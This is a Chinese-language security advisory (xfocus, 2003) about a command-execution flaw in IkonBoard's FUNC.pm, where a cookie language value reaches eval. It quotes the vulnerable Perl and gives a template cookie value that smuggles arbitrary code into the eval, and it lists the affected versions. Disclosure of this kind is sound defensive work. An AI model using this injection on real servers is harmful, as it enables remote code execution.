xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

IkonBoard Cookie默认参数任意命令执行漏洞


发布时间:2003-09-10
更新时间:2003-09-10
严重程度:
威胁程度:普通用户访问权限
错误类型:输入验证错误
利用方式:服务器模式

BUGTRAQ ID:8580

受影响系统
Ikonboard.com ikonboard 2.1 .0
Ikonboard.com ikonboard 2.1.7 b and previous
   - BSDI BSD/OS 4.0.1
   - Conectiva Linux 6.0
   - Debian Linux 2.2
   - Digital (Compaq) TRU64/DIGITAL UNIX 5.0
   - FreeBSD FreeBSD 4.2
   - HP HP-UX 11.11
   - IBM AIX 4.3.3
   - MandrakeSoft Linux Mandrake 7.2
   - Microsoft Windows 2000 Workstation
   - Microsoft Windows NT 4.0
   - NetBSD NetBSD 1.4.3
   - OpenBSD OpenBSD 2.8
   - RedHat Linux 7.0
   - S.u.S.E. Linux 7.0
   - SCO eServer 2.3
   - Sun Solaris 8.0
Ikonboard.com ikonboard 2.1.8
Ikonboard.com ikonboard 2.1.9
Ikonboard.com ikonboard 2.17
Ikonboard.com ikonboard 3.0 .1
   - Apache Software Foundation Apache 1.3.17
   - Apache Software Foundation Apache 1.3.18
   - Apache Software Foundation Apache 1.3.19
   - Apache Software Foundation Apache 1.3.20
   - Apache Software Foundation Apache 1.3.22
Ikonboard.com ikonboard 3.1.1
Ikonboard.com ikonboard 3.1.2 a
详细描述
Ikonboard的FUNC.pm存在问题,通过如下代码检查COOKIE数据是否合法:

    if ($iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'}) {

        $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/;

    }



    $default = $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'}

            || $iB::INFO->{'DEFAULT_LANGUAGE'}

            || 'en';



    # Quick check to make sure the directory exists



    unless (-d $iB::INFO->{IKON_DIR}."Languages/$default") {

        $default = 'en';

    }



    my $code = 'require '. "\"$default/" .$area. '.pm"; $lang ='. $area. '->new();';

    eval $code;



    $obj->cgi_error("Could not access the language file: $@") if $@;

    return $lang;

}

--------------

在COOKIE数据中插入如下代码:

val require "en/UniversalWords.pm"; <My Code>; ##/" .$area. '.pm"; $lang = '. $area.'->new().

可导致My Code中的恶意代码以WEB权限执行。

解决方案
尚无

相关信息
Shan Whitman <xzziroz@rootshell.be>.
参考:http://www.securityfocus.com/archive/1/336952
相关主页:http://www.ikonboard.com/newindex.iB/